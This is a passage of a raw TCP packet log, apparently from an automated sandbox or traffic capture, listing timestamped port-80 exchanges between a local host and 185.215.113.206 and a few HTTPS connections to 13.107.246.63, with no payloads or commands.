Nov 23, 2024 02:55:16.041146994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.041198015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.041282892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.041327000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.043344021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.043395996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.043425083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.043628931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.045486927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.045537949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.045589924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.045739889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.047663927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.047738075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.047833920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.047892094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.049812078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.049887896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.049916983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.049968004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.051953077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.052043915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.052103996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.052136898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.054158926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.054253101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.054282904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.054306984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.056304932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.056411028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.056437969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.056706905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.058459044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.058511019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.058693886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.058787107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.060589075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.060641050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.060724020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.060774088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.062763929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.062880993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.062916040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.062931061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.064874887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.065016985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.105758905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.105797052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.105854988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.105880976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.106604099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.106703043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.106735945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.106749058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.108217955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.108329058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.108338118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.108381987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.110317945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.110377073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.110431910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.110477924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.112404108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.112520933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.112724066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.114499092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.114554882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.114617109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.114687920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.116596937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.116652966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.116729975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.116785049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.118643045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.118709087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.118781090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.118885040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.120754957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.120816946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.120889902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.120929003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.122826099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.122886896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.122961998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.123111010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.124933004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.124993086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.125052929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.125094891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.126952887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.127010107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.127052069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.127088070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.128956079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.129055977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.129091024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.129210949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.130909920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.131088018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.132407904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.132864952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.132922888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.132987976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.133028030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.134720087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.134783983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.134845018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.134896994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.136581898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.136712074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.137065887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.138349056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.138488054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.184218884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.184314013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.184389114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.184518099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.184797049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.184814930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.184880018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.185844898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.186008930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.186232090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.187169075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.187285900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.187839031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.187901974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.188354969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.188419104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.188528061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.188626051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.189368963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.189439058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.189551115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.189714909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.190556049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.190623999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.190721989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.190854073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.191732883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.191903114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.191951036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.192888021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.193062067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.193129063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.194168091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.194307089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.194340944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.194401026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.198009968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.199289083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.199368000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.200920105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.201076984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.202047110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.202125072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.202235937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.202868938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.202918053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.203018904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.204421997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.204480886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.204498053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.204540968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.204932928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.205097914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.205112934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.205142975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.205156088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.205174923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.205205917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.231216908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.231311083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.231386900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.231456995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.231728077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.231744051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.231786966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.231806993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.233076096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.233144045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.233246088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.233294010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.234131098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.234204054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.234292984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.234451056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.235197067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.235269070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.235394955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.235446930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.236455917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.236608028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.236664057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.236706972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.237752914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.237771034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.237837076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.238816977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.238888025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.238976955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.239023924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.240061045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.240078926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.240139008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.240160942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.241095066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.241164923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.241255045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.241379976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.242449999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.242468119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.242527962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.242568016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.242847919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.242952108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.242955923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.243040085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.244026899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.244091988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.244131088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.244174957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.245197058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.245306969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.245335102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.245357037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.246407032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.246419907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.246772051 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.246865034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.247385025 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.247400045 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.247514009 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.247550011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.247663021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.247710943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.247920036 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.247925043 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.248214960 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.248234034 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.248611927 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.248617887 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.248730898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.248822927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.249612093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.252048969 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.252398968 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.252418041 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.252898932 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.252903938 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.306751966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.306782007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.306843042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.306875944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.307332993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.307552099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.307574034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.307584047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.307598114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.307617903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.308729887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.308778048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.308836937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.308875084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.309945107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.310003996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.310036898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.310228109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.311081886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.311142921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.311180115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.311223984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.312259912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.312381029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.312422991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.312439919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.313438892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.313530922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.313551903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.313637972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.314613104 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.314623117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.314712048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.314737082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.314812899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.315280914 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.315372944 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.315727949 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.315745115 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.315839052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.315912962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.316032887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.316988945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.317091942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.317148924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.318144083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.318195105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.318252087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.318289042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.319310904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.319365978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.319438934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.319494963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.320491076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.320605993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.320686102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.321660042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.321724892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.321758032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.321798086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.322861910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.322957993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.322968960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.323043108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.324009895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.324098110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.324110985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.324153900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.325159073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.325222015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.325282097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.325555086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.326400042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.326472998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.326541901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.327527046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.327613115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.327605963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.327652931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.328696966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.328829050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.328892946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.383805990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.383863926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.383914948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.383979082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.384325027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.384373903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.384411097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.384520054 CET	49714	80	192.168.2.6	185.215.113.206
